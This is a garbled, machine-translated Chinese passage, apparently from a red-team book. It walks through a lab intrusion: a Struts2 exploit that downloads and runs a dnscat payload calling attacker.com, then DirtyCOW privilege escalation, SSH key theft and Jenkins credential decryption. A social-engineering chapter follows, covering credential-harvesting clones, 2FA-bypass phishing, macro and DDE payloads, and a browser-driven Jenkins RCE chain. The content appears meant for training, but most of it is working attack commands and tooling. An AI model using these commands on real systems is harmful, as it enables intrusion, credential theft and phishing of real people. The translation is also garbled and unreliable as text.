简而言之,此疏忽允许障碍者通过内核疏忽从非特权用户转到 root 权限。这是咱们能预见的的最好权限耕作的方法!但有一个问题是它会导致一些内核崩溃,是以咱们必须确保在正确的 Linux 内核上使用正确的版块。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
下载 DirtyCOW payload wget -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以造访系统 ./dirtycow-mem 关闭如期写回以使疏忽结实 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向移动实验横向移动的问题是,莫得一个接济启航点渐渐深入的环境很难老到。因此,咱们向你先容了 CSK 蚁集安全实验。在这个实验中,你将在不同的设备之间进行切换,使用最近的疏忽障碍和权限耕作障碍,并应用 Linux 环境中自身存在的应用步调进行障碍。
接济臆造环境
这个臆造实验环境的接济有些复杂。这是因为蚁集需要三个不同的静态臆造机才能运行,况兼你需要事前进行一些接济。扫数这些齐在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行适当的调养。
下载三台臆造机:
?type=csk-lab 天然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要调动。扫数三台臆造机齐成立为使用 NAT 蚁集接口。要使该实验环境正常责任,你必须在 VMware 中成立臆造机的 NAT 接济,才能使用172.16.250.0/24蚁集。要在 Windows VMware Workstation 中践诺此操作,请践诺以下操作:
在开首菜单,挨次点击 剪辑 -> 臆造蚁集剪辑器 -> 调动接济 采纳需要接济 NAT 类型的界面(我这里接济的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用在 OSX 中,操作更复杂。你需要:
复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 剪辑 dhcpd.conf 文献以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 剪辑 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 从头启动劳动: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内得回一个 DHCP 分配的 IP。如果你这样作念了,就同期启动扫数其他三个实验臆造机,然后开首黑客障碍吧。
障碍 CSK 安全蚁集临了,你还是从 Windows 环境转到了安全坐蓐环境蚁集中。从你扫数的窥探和研究中,你知说念扫数的微妙齐存储在这里。这是他们保护最严实的蚁集之一,咱们知说念他们还是分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能造访中枢数据库。这即是你发起这次障碍的目的......
以安全蚁集区域的外部为中心,可以看到为此环境成立的蚁集范围位于172.16.250.0/24蚁集中。由于你对这个蚁集不太了解,你可以先进行一些相称毛糙的 nmap 扫描。你需要细目哪些系统可以从蚁集外部造访,以细目如何启动障碍。
扫描蚁集:
nmap 172.16.50.0/24你扎眼到有三个设备正在运行,但唯惟一个设备启用了 Web 端口。看起来其他两个设备与安全蚁集之外是阻止的,这意味着咱们必须最先入侵172.16.250.10设备才能转到其他两个劳动器。造访第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会扎眼到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马预见了Equifax 数据露出事件中黑客的障碍手法。你哀感顽艳,太好了,但你照旧要检查一下。在 msfconsole 上运行一个快速搜索并测试疏忽 struts2_content_type_ognl。
咱们知说念,CSK 会严格监控受保护的蚁集流量,其里面劳动器可能不允许径直造访公司蚁集。为了惩办这个问题,咱们必须使用咱们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通讯。天然,在真实操作中,咱们可能会使用巨擘的 DNS 劳动器,但仅针对腹地测试的话,咱们将成立我方的 DNS 劳动器。
[本书的 Kali 机器]
本书的定制 Kali 臆造机应该领有践诺障碍的扫数器具。
咱们需要在 Web 劳动器上放上咱们的 payload,这样咱们就可以让咱们的 metasploit payload 抓取 dnscat 坏心软件。在 dnscat2 客户机文献夹中是 dnscat 二进制文献。 cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 劳动器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 纪录你的密钥 打开新终局并加载 Metasploit msfconsole 搜索 struts2并加载 struts2疏忽 search struts2 use exploit/multi/http/struts2_content_type_ognl 成立 struts2疏忽以获取咱们的 dnscat payload 并在受害者劳动器上践诺。确保在前边更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一朝 payload 践诺,你将不会在 Metasploit 中得到任何证据,因为咱们使用了 dnscat 的 payload。你需要检查你的 dnscat 劳动器是否有任何使用 DNS 流量的结合。 回到 dnscat2劳动器上,检查新践诺的 payload 并创建一个 shell 终局。 与第一个 payload 进行交互 window -i 1 生成 shell 程度 shell 用键盘按钮复返主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 呐喊 ls你还是入侵了 OpenCMS/Apache Struts 劳动器!现在要作念什么?你需要花一些时辰检查劳动器并寻找兴趣的信息。你想起来劳动器正在运行 OpenCMS Web 应用步调,并细目该应用步调是在 /opt/tomcat/webapps/kittens 下成立的。在观望 OpenCMS 属性的成立文献时,咱们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties咱们成功结合到数据库了,但看不到太多信息。这是因为咱们咫尺是一个有限的 Tomcat 用户,这确乎阻碍了咱们的障碍。因此,咱们需要找到一种提权的方法。在劳动器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个相称旧的 Ubuntu 版块。红运的是,此劳动器容易受到权限耕作疏忽 DirtyCOW 的障碍。让咱们创建一个 DirtyCOW 二进制文献并转到根目次!
Escalation 耕作 dnscat 权限:
下载并编译目次: cd /tmp wget -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 疏忽应用的结实性,并允许内核崩溃时从头启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami扎眼:DirtyCOW 不是一个相称结实的提权方法。如果你对疏忽应用过程有问题,请观望我的 Github 页面,在这里了解创建 setuid 二进制文献的更结实的过程:
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到驱动劳动器,并以 root 身份践诺 dnscat payload。要登录,请使用凭证 hacker/changeme 登录系统并使用 sudo-su 得回 root 权限。现在,由于主机系统上莫得补丁,你还是成为系统的 root 用户。当你再次开首为明锐信息翻阅系统文献时,你会看到 root 的 bash 历史文献。在这个文献中,你可以找到 SSH 呐喊和独到 SSH 密钥来源。咱们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30:
cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30你花了一些时辰在第二个系统上,试着清醒它的用途。在四处搜索时,你扎眼到在 /home 目次中有一个 Jenkins 用户,它疏通你识别在端口8080上运行的 Jenkins 劳动。咱们如何使用浏览器观望 Jenkins 劳动器上的内容?这即是 dnscat 的端口转发功能阐述作用的地点。咱们需要退出领先的shell,去呐喊终局。从那里,咱们需要接济一个监听器,通过 dnscat 将咱们的流量从障碍者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。
践诺 dnscat 端口转发:
退出现存的 shell Ctrl + z 复返咱们的第一个呐喊代理并接济一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 臆造机上,使用咱们的端口转发代理打开浏览器并打开底下的地址(这将比 dns 慢一些): :8080/jenkins在 Jenkins 应用步调内的凭证管制器里面,咱们将看到 db_backup 用户密码已存储,但不可见。 咱们需要弄真切如何从 Jenkins 中获取此凭证,以便咱们可以络续横向移动。
n00py 对 Jenkins 中存储的凭证以及如何索要它们作念了一些很好的研究( )。 咱们可以使用现存的 shell 来应用此障碍并获取 credentials.xml,master.key 和 hudson.util.Secret 文献。
复返 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目次并获取三个文献:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 咱们可以尝试关闭这些文献,或者咱们可以将这些文献作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 咱们可以将 base64输出复制回咱们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml咱们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果咱们回顾一下之前的谛视,咱们会在 OpenCMS 属性文献中看到数据库劳动器位于 172.16.250.50。看起来这个 Jenkins 劳动器出于某种原因会对数据库劳动器践诺某种备份。让咱们检查一下咱们是否可以获取 db_backup 的凭证:应用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库劳动器。唯一的问题是通过咱们的 dnscat shell,咱们莫得径直按圭臬输入(STDIN)来与 SSH 的密码领导进行交互。 因此,咱们将不得不再次使用咱们的端口将咱们的 SSH shell 从 Kali 臆造机通过 dnscat 代理传递到数据库劳动器(172.16.250.50)。
回到呐喊 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库劳动器 listen 127.0.0.1:2222 172.16.250.50:22一朝使用 db_backup 帐户进入数据库劳动器(172.16.250.50),咱们会扎眼到此帐户是 sudoers 文献的一部分,况兼可以 sudo su 到 root。 一朝 root 在数据库劳动器上,咱们将四处寻找也找不到任何造访数据库的凭证。咱们可以重置 root 数据库密码,但最终可能会破碎其他一些应用步调。相背,咱们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,咱们找到 secrets.ibd 文献,其中包含 secrets 表的扫数数据。在咱们阅读数据时,咱们意志到它可能是加密的...由你来践诺剩下的操作...
恭喜!!!你已成功入侵 Cyber Space Kittens 蚁集!
不要停步于此...你可以用这些系统作念许多事情;咱们现在只触及了名义。纵容在被入侵的系统上翻阅,找到更明锐的文献,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:
本章总结在本章中,咱们经历了入侵蚁集的一系列操作。 咱们开首在外部蚁集上莫得任何凭证或应用社会工程的方式入侵到咱们的第一个受害者系统。从那里开首,咱们能够应用主义系统自身的应用步调,获取关系蚁集和主机系统的信息,横向移动,权限耕作,并最终攻陷通盘蚁集。这一切齐是建立在最少程度的扫描,应用蚁集秉性,并试图逃匿扫数检测机制之上完成的。
第5章 助攻——社会工程学障碍 开首社会工程学障碍行动作为红队队员,咱们钟爱社会工程学障碍。不仅因为它日常包含低技能障碍,而且因为它也很容易以相称低的资原本策整齐场值得咱们高度信托的战役。只需接济几个假域名、劳动器、策整齐些电子邮件、假装丢掉一些 bad USB,然后就可以斥一一天的责任了。
译者注: 这里提到的低技能障碍, 原文是 low skillset attacks,我的清醒是无需太多技能的障碍,比如踩点、垃圾采集......
在揣度的方针方面,咱们一般用捕捉到的显著的信息,举例发送的电子邮件数目、点击了垂纶连气儿的用户数目以及键入密码的用户数目。咱们也试图阐述创意,为雇用咱们的公司带来实质性价值。这方面的一个例子是 DefCon 会议举办的的社会工程学竞赛,在这个竞赛中参赛选手要通过社工的方式来入侵公司和雇员。如果你不熟悉这个竞赛的话,那我简陋地先容一下:参赛选手们需要在有限的时辰内针对主义公司找到一些 flag。通过获取公司信息,如他们的 VPN 、他们使用的杀毒软件类型、职工的特定信息或让职工造访垂纶 URL 等方法,可以拿获 flag。如果你想观望比赛中的使用的扫数 flag,请观望2017年的比赛呈报: 。 这些类型的障碍可以通过素养职工学会发现坏心行动并向关系负责团队呈报从而匡助公司提高里面安全意志。
在本章中,咱们将浅薄的交易一些用来进行社会工程学障碍的器具和时期。对于社会工程学障碍,莫得正确或诞妄的谜底。只须能阐述作用,在咱们的书里即是好的。
近似域名(Doppelganger Domain)在上本书中咱们讲了许多对于近似域名的内容。如今近似域名仍然是获取驱动凭证或者植入坏心软件的最成功方法之一。最常用的时期是购买一个与主义公司的URL相称相似的域名,或者是主义公司 URL 的一个常见拼写诞妄的域名。
在上一册书中,咱们举了一个例子,如果咱们的主义公司有 mail.cyberspacekittens.com 这个域名,咱们将购买 mailcyberspacekittens.com 这个域名,并接济一个假的 Outlook 页面来获取登录凭证。当受害者进入假网站并输入密码时,咱们会采集这些数据并将其重定向到公司的有用电子邮件劳动器(mail.cyberspacekittens.com)。这给受害者留住这样的印象:他们只是第一次无意地输错了密码,因此,再次输入正确密码并登录他们的帐户。
这种方法最秘籍地一丝是你以至无用作念任何蚁集垂纶的操作。因为有些东说念主即是会打错域名或者手误漏掉 “mail” 和 “cyberspacekittens” 之间的点(.),然后进入了诞妄的网页并输入他们的登录凭证。咱们会领导让受害者把咱们的坏心网站添加为书签,这样可以让受害者每天齐造访咱们的坏心网页。
如何克隆验证页面快速克隆Web应用步调登录验证页的最好器具之一是 TrustedSec 公司开发的社会工程学器具包(Social Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社工行为的圭臬器具包。你可以从 https://github.com/trustedsec/social-engineer-toolkit 下载这个器具包。
成立 SET:
将 SET 成立为使用 Apache(而不是默许的 Python ) 将成立文献按照以下内容修改: gedit /etc/setoolkit/set.config APACHE_SERVER=ON APACHE_DIRECTORY=/var/www/html HARVESTER_LOG=/var/www/html 启动 SET: cd /opt/social-engineer-toolkit setoolkit (1) Spear-Phishing Attack Vectors (鱼叉式垂纶障碍) (2) Website Attack Vectors(网站障碍) (3) Credential Harvester Attack Method (凭证采集障碍方法) (4) Site Cloner(站点克隆器) 输入你的障碍劳动器的 IP 克隆主义站点 打开浏览器,转到障碍劳动器并测试扫数文献齐会被储存在 /var/www/html 文献夹下,密码存储在 Harvester* 下。底下是社工行为中克隆页面时的一些比较好的作念法:
搭配使用 Apache 劳动器 + SSL 把扫数图像和资源移到腹地(而不是从被克隆的站点调用) 就我个东说念主而言,我心爱使用我的 PGP 公钥来存储扫数纪录的密码。这样,如果劳动器受到入侵,就无法在莫得私钥的情况下收复密码。PHP gnupg_encrypt 和gnupg_decrypt 救助这一作念法。 使用双身分验证的身份凭证咱们看到越来越多的客户使用双身分认证(2FA),对于红队来说双身分认证是一个巨大的费事,因为它们不可能被纵容绕开。在以前咱们必须创建一些定制化的页面,这样可以处理其中的一些情况。但现在咱们有了 ReelPhish,这是 FireEye 公司制作的一个器具。当受害者在咱们的垂纶网页上输入登陆凭证时,ReelPhish 允许红队应用 Selenium 和 Chrome 来自动触发双身分验证。
ReelPhish:
克隆需要双身分认证的障碍主义站点。 使用你的障碍器具箱,解析登录到真实站点的流量。在我的例子中,我打开了 Burp Suite 来获取身份验证所需要的扫数 post 参数。 修改克隆站点,使其使用 ReelPhish。造访 /examplesitecode/samplecode.php 并输入你的身份验证所需的扫数必要参数。 受害者进入克隆站点并进行身份验证。 凭证被传输到障碍者手中。 ReelPhish 将在真实站点进行身份验证,触发双身分验证。 受害者收到双身分验证的验证码或电话验证。 受害者被重定向到真实站点从头登录(他们会认为他们在第一次登录时登陆失败了)。如下图所示,咱们现在应该有一个经过身份验证了的会话来绕过双身分验证。天然 ReelPuish 看起来很像是救助 Linux ,但我在 Kali 中运行它时遭遇了一些问题。是以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多对于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。
还有一些其他器具可以处理不同的双身分验证绕过的情境:
https://github.com/kgretzky/evilginx https://github.com/ustayready/CredSniper还有一件事,当对需要双身分认证的蚁集资源进行身份验证时,请确保你在得到身份凭证后要尝试使用多种不同的身份验证方法。我的兴趣是,一些家具可能在 Web 派别网站的身份验证页面使用了双身分验证,但在 API、旧的客户端或扫数的应用步调终局上可能并莫得使用双身分验证。咱们还是看到许多应用步调在群众终局上要求双身分验证,但在应用步调的其他部分则发愤相应的安全保护。
蚁集垂纶另一个红队还是用之取得了巨大成功的时期是传统的蚁集垂纶。蚁集垂纶的诀要在于激励受害者的恐慌感或者紧迫感,有时也会向受害者态状一些相称好意思好(以至不太真实)的诱骗。我相信你以前肯定见过一些恐慌感和紧迫感确阐述巨大威力的情境。应用受害者恐慌和紧迫神情进行障碍的一些例子包括:
一封带有欺诈性购买的乌有电子邮件 有东说念主黑进了你的电子邮件音书 关系税务欺诈的电子邮件这些一般性障碍的问题是,咱们还是扎眼到公司职工变得越来越忠良。日常,每10封基本垂纶式障碍邮件中至少有1封会被上报。在某些情况下,比例以至更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些毛糙的蚁集垂纶障碍,望望公司在对这些情况的响应方面是不是有所逾越。
对于那些寻求自动化垂纶障碍的东说念主,我高度保举 Gophish。Gophish 相称易于接济和重视,况兼救助模板和 HTML,另外它还会追踪和纪录你所需的一切。如果你是 Ruby 的粉丝的话,Phishing Frenzy即是一个使用 Ruby 语言写的很好的器具。天然,少不了的也有用 python 语言写的器具,King Phisher 即是使用 Python 开发的。
这些自动化器具相称适合纪录毛糙的蚁集垂纶行为。然则对于咱们的主义行为,咱们得领受愈加手工化的方法。举例,如果咱们对受害者的邮件纪录进行了一些窥探,了解到客户使用 Office365 ,那么咱们就可以念念考一下如何应用这个信息来策整齐场具有高可行度的入侵行动。此外,咱们还试图寻找该公司露出信息的电子邮件,从中来捕捉任何其他可能有匡助的信息,包括他们可能正在运行的步调、新的秉性、系统升级、代码合并等等。
咱们有时还会开展更具针对性的行动。在这些行动中,咱们尝试使用扫数的开源器具来搜索关系东说念主员及其财产、家庭等的信息。举例,针对一些公司高管,咱们会在 pipl.com 上搜索他们,获取他们的应酬媒体帐号,找出他们的孩子上学的地点。然后咱们向他们发送一封诳骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要作念完这一系列事情可能要破耗很永劫辰,但公正在于成功率很高。
Microsoft Word/Excel 宏文献天然是很老旧,但向受害者发送坏心的 Microsoft Office 文献仍然是久经考验的一种社会工程学障碍方法。那为什么 Office 文献相称适合作为坏心 payload 的载体呢?这是因为 Office 文献的默许接济是救助 VBA 代码是以允许 VBA 代码的代码践诺。尽管最近这种方法还是很容易被杀毒软件检测到,但在经过污染处理之后,在很厚情况下仍然可以见效。
在最基础的水平上,咱们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏:
使用 Empire: 采纳 Macro Stager usestager windows/macro 确保进行正确的成立 info 创建宏 generate 如果你想为 Meterpreter 创建一个 payload ,咱们可以使用像 Unicorn 这样的器具: cd /opt/unicorn ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro 启动一个 Metasploit Handler msfconsole -r ./unicorn.rc一朝生成成功,你的 payload 将如下所示:
如你所见,这是运行一个毛糙的 PowerShell base64 污染剧本。这可以匡助惩办绕过一些杀毒软件,但浩瀚的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档:
打开 Excel 转到视图选项卡(View Tab) - >宏 - >观望宏 添加一个宏称号,为 book1 成立宏,然后单击 “创建” 用生成的代码替换扫数当前的宏代码 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 样子的文献现在,每当有东说念主打开你的文档时,他们齐会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 剧本将会被践诺,这会弹给你一个 Empire Shell 。
如前所述,宏文献方法是一种久经考验的旧方法,因此许多受害者还是对这种障碍有了一定的知道。应用 Office 文献的另一种念念路是将咱们的 payload 镶嵌一个批处理文献(.bat)。但在较新版块的 Office 中,如果受害者双击 Word 文档中的 .bat 文献,对象则不会被践诺。咱们日常不得不试图诱导受害者使其将 .bat 文献移动到桌面并践诺。
咱们可以用 LuckyStrike 来以更自动化的方式完成此操作。通过使用 LuckyStrike,咱们可以在责任表中使用 Payload 创建 Excel 文档,以至可以在 Excel 文档中存储完整的可践诺文献(exe),这些文献可以用 ReflectivePE 来触发从而在内存中运行。阅读更多对于 LuckyStrike 的内容:
https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator我想提到的用于 Office 文献践诺的临了一个器具是 VBad。运行 VBad 时,必须在 Office 中启用宏,并在宏安全接济的下拉框中采纳 “信任对 VBA 样子对象模子的造访” 选项。这会允许 VBad 运行 python 代码来调动并创建宏。
VBad 会严重污染 MS Office 文档中的 payload。它还加多了加密功能,用假密钥来诱骗救急响应团队。最浩瀚的是,它可以在第一次成功运行后葬送加密密钥(VBad 是一个一次性使用的坏心软件)。另一个秉性是 VBad 也可以葬送对包含有用 payload 的模块的援用,以使其从 VBA 开发者器具中不可见。这使得分析和排除故障变得愈加困难。因此,不仅很难去逆向,而且如果救急响应团队尝试分析践诺的 Word 文档与原始文档,则扫数密钥齐将丢失。
非宏的 Office 文献 —— DDE有时候红队障碍亦然一场与时辰竞走的游戏,天然有些可以应用的易受障碍模块效果很好,然则如果时辰深切,一些杀毒软件或者安全软件还是包含了检测的策略,那么也很难应用,是以有时候一些新发现的疏忽是更好应用的。在咱们的一次评估中,初度公布了一个名为 DDE 的全新易受障碍模块。杀毒软件或任何安全家具还尚未检测到它,因此这是得回咱们驱动进口点的好方法。 天然现在有几种安全家具可以检测 DDE ,但在某些环境中它仍然可能是一种可行的障碍。
什么是 DDE?“ Windows 提供了几种在不同的应用步调之间传输数据的方法。其中一种方法即是使用动态数据交换(DDE)条约。DDE 条约是一组音书和指南。它在分享数据的应用步调之间发送音书,并使用分享内存在应用步调之间交换数据。应用步调可以使用 DDE 条约进行一次性数据传输。况兼应用步调也可以应用 DDE 条约来进行持续的数据交换,当新数据可用时候,应用步调可以通过持续的数据交换来彼此发送更新。”[ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ]
Sensepost 的团队作念了一些很棒的研究,发现 MSExcel 和 MSWord 齐透露了 DDEExecute,况兼可以在不使用宏的情况下创建代码践诺。
在 Word 中:
转到“插入”选项卡 -> “快速部件” -> “字段” 采纳 = 公式 右键单击:!Unexpected End of Formula 并采纳 Toggle Field Codes 将 payload 替换为你的 payload:Empire 有一个 stager ,可以自动创建 Word 文献和关联的 PowerShell 剧本。 此 stager 可以通过以下方式成立:
usestager windows/macroless_msword资源:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/除了 0day 疏忽应用(举例 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何能应用的秉性呢? 谜底是肯定的。天然咱们不会在本书中先容它。其中一个例子是 subdoc attacks。这些障碍导致受害者向蚁集上的障碍劳动器发出 SMB 苦求,以便采集 NTLM Auth Hash(NTLM 验证哈希)。 这种障碍并不是在扫数场景里百分百见效,因为大多数公司现在阻难 SMB 关系端口结合外网。对于那些还未进行此种成立的公司,咱们可以使用 subdoc_inector 障碍来应用这种诞妄成立。
荫藏的加密 payload作为红队队员,咱们一直在寻求使用创造性的方法来构建咱们的登陆页面,加密咱们的 payload,并诱导用户点击运行。具有雷同过程的两个不同器具是 EmbededInHTML 和 demiguise。
第一个器具 EmbededInHTM,该器具的描绘是“ 获取文献(任何类型的文献),加密它,并将其作为资源镶嵌到 HTML 文献中,还包含模拟用户点击镶嵌资源之后的自动下载程度。然后,当用户浏览 HTML 文献时,镶嵌式文献即时解密,保存在临时文献夹中,然后将文献展示给用户。这一系列过程会让用户嗅觉该文献像是从长途站点下载来的。基于用户的浏览器和骄贵的文献类型,浏览器可以自动打开文献。”
cd /op/EmbedInHTML python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w一朝受害者造访坏心站点,弹出的窗口会领导受害者在 Excel 中打开咱们的.xll文献。横祸的是,对于最新版块的 Excel(除非成立诞妄),用户需要启用加载项来践诺咱们的 payload 。这就需要使用你在前边学到的社会工程学技巧了。
第二个器具是 demiguise,描绘是“ 生成包含一个加密的 HTA 文献的 .html 文献。该器具的念念路是,当你的主义造访该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其径直推送给用户。这是一种归隐时期,可以绕过由某些安全设备进行的的内容/文献类型的检查。然则此器具并不是为了创建优秀的 HTA 内容而瞎想的。在 HTA 内容方面还有其他器具/时期可以匡助你。demiguis 但愿匡助用户的是:最先让你的 HTA 进入一个环境,况兼(如果你使用环境键控)幸免它被沙盒化。
python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -p Outlook.Application -o test.hta 应用社会工程学攻破内网 Jenkins作为红队队员,障碍的创造性使咱们的责任相称令东说念主爽快。咱们心爱应用旧的疏忽应用并再次使它们面目全非。举例,如果你一直在进行蚁集评估,你就会知说念,如果遭遇未经身份验证的 Jenkins 应用步调(开发东说念主员大批使用它进行持续集成),这险些意味着它完全大开在你的眼前。这是因为 Jenkins 具有允许 Groovy 剧本践诺测试的 “秉性”。应用这个剧本收敛台,咱们可以使用允许 shell 造访底层系统的践诺呐喊。
这种方法在入侵方面变得如斯受迎接的原因是险些每家大公司齐有一些 Jenkins 实例。如果想要从外部进行障碍,就会存在一个问题:这些 Jenkins 劳动齐是里面托管的,无法从外部造访。
咱们如何样才能在这些劳动器上长途践诺代码? 在咱们可以回答这个问题之前,我告诉我的团队先退后一步,用 Jenkins 构建一个副本蚁集进行测试。 一朝咱们很好地清醒了代码践诺苦求的功能,咱们现在可以构建合适的器具来得回长途呐喊践诺(RCE)。
靠近这种情况,咱们通过使用 JavaScript 和 WebRTC(Web实时通讯)的一系列智商惩办了这个问题。最先,咱们需要一个属于主义组织的受害者来造访一个咱们领有的公开网站或是咱们存储了 XSS payload 的网页。一朝受害者造访咱们的公开站点,咱们将在他的浏览器上践诺 JavaScript 从而运行咱们的坏心 payload 。
此 payload 会应用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通讯)公开受害者的内网 IP 。 通过内网 IP ,咱们可以推断出受害者的策动机的腹地子网,以了解其公司 IP 范围。 现在,咱们可以使用咱们特制的 Jenkins 疏忽应用通过 Jenkins 默许的8080端口在他们的蚁集范围内对每一个 IP 发起障碍(这段代码只扫描腹地 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围接济的比这个大许多)。
如果你玩过 Jenkins Console shell ,你就知说念它有点难搞,因此能够持续得回复杂的 PowerShell payload 可能会很困难。 为了惩办这个问题,咱们为本书创建了一个名为 generateJenkinsExploit.py 的器具 ,该器具将获取任何二进制文献,对其进行加密,并构建进行坏心障碍的 JavaScript 页面。当受害者造访咱们的坏心网页时,它将获取其内网 IP 并开首将咱们的疏忽应用传播到 /24 范围内的扫数劳动器。当它找到易受障碍的 Jenkins 劳动器时,此障碍将发送一个 Groovy 剧本的 payload 来从 internet 上抓取加密的二进制文献,将其解密为一个文献放到 C:\Users\Public\RT.exe 下,并践诺 Meterpreter 二进制文献(RT.exe)。
在倡导上(如下图所示),这与劳动器端苦求伪造 (SSRF)相称相似,咱们强制受害者的浏览器从头启动与内网 IP 的结合。
受害者造访咱们存储的 XSS 或坏心 JavaScript 的页面。 受害者的浏览器践诺 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对腹地里面蚁集发起障碍。 找到一个 Jenkins 劳动器后,咱们的 Groovy 代码将文牍 Jenkins 劳动器从障碍者的劳动器获取加密的 payload ,然后解密并践诺二进制文献。 在这种情况下,咱们下载的加密可践诺文献是 Meterpreter payload。 Meterpreter 在 Jenkins 劳动器上践诺,然后结合到咱们的障碍者 Meterpreter 劳动器。扎眼:最新版块的 Jenkins 中不存在此疏忽。 2.x 之前的版块在默许情况下是易受障碍的,因为它们未启用 CSRF 保护(允许对剧本进行无验证调用),况兼未启用身份验证。
完整的 Jenkins 疏忽应用实验:
咱们将构建一个 Jenkins Windows 劳动器,以便咱们可以复现此障碍。 在腹地蚁集上装配具有桥接接口的 Windows 臆造机。 在 Windows 系统上,下载并装配 JAVA JDK8。 下载 Jenkins war 包: -stable/1.651.2/ 启动 Jenkins : java -jar jenkins.war 浏览器打开 Jenkins: http://<Jenkins_IP>:8080/ 测试 Groovy 剧本收敛台: http://<Jenkins_IP>:8080/script在 THP Kali 臆造机上应用 Jenkins:
译者注:专门为本书开发的集成了扫数环境的 Kali 臆造机,本书第一章有先容。THP 即是 The Hacker Playbook,本书的英文简称。
